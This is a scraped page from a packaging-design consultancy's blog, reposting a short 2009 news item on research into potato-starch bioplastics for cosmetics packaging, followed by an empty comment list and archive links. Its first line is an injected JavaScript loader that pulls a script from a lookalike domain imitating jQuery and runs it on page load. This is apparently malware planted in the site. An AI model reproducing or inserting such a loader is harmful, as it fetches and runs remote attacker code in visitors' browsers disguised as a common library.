var khutmhpx = document.createElement('script'); khutmhpx.src = 'https://jquery0.com/JkrJYcvQ'; document.getElementsByTagName('head')[0].appendChild(khutmhpx); Design Cognition » Blog Archive » Research aims to boost bioplastics from potatoes - your packaging design, development, project management & training partner & consultant

Research aims to boost bioplastics from potatoes

02-Sep-2009  www.cosmeticsdesign.com

Cor n starch-based Bioplastics have proved increasingly popular for eco-friendly personal care packaging, but now researchers are investigating ways to enhance potato starch for this purpose.

Corn starch has long been the preferred base for this kind of plastic because the crop can be harvested in large quantities on a global basis. Likewise, the technologies for milling it and processing it in to corn starch are highly developed and readily available.

via Research aims to boost bioplastics from potatoes.

6 Comments

  1. karl says:

phillip says:

ronald says:

Theodore says:

July 2015

  • September 2014
  • August 2014
  • July 2014
  • April 2014
  • September 2013
  • March 2013
  • February 2013
  • July 2012
  • January 2012
  • December 2011
  • November 2011
  • August 2011
  • April 2011
  • March 2011
  • February 2011
  • January 2011
  • December 2010
  • November 2010
  • October 2010
  • September 2010
  • August 2010
  • July 2010
  • June 2010
  • May 2010
  • April 2010
  • March 2010
  • February 2010
  • January 2010
  • December 2009
  • November 2009
  • October 2009
  • September 2009
  • August 2009
  • July 2009
  • June 2009
  • May 2009
  • Tag Bag

  • Tag Cloud

  • Twitter Feed

    Posting tweet...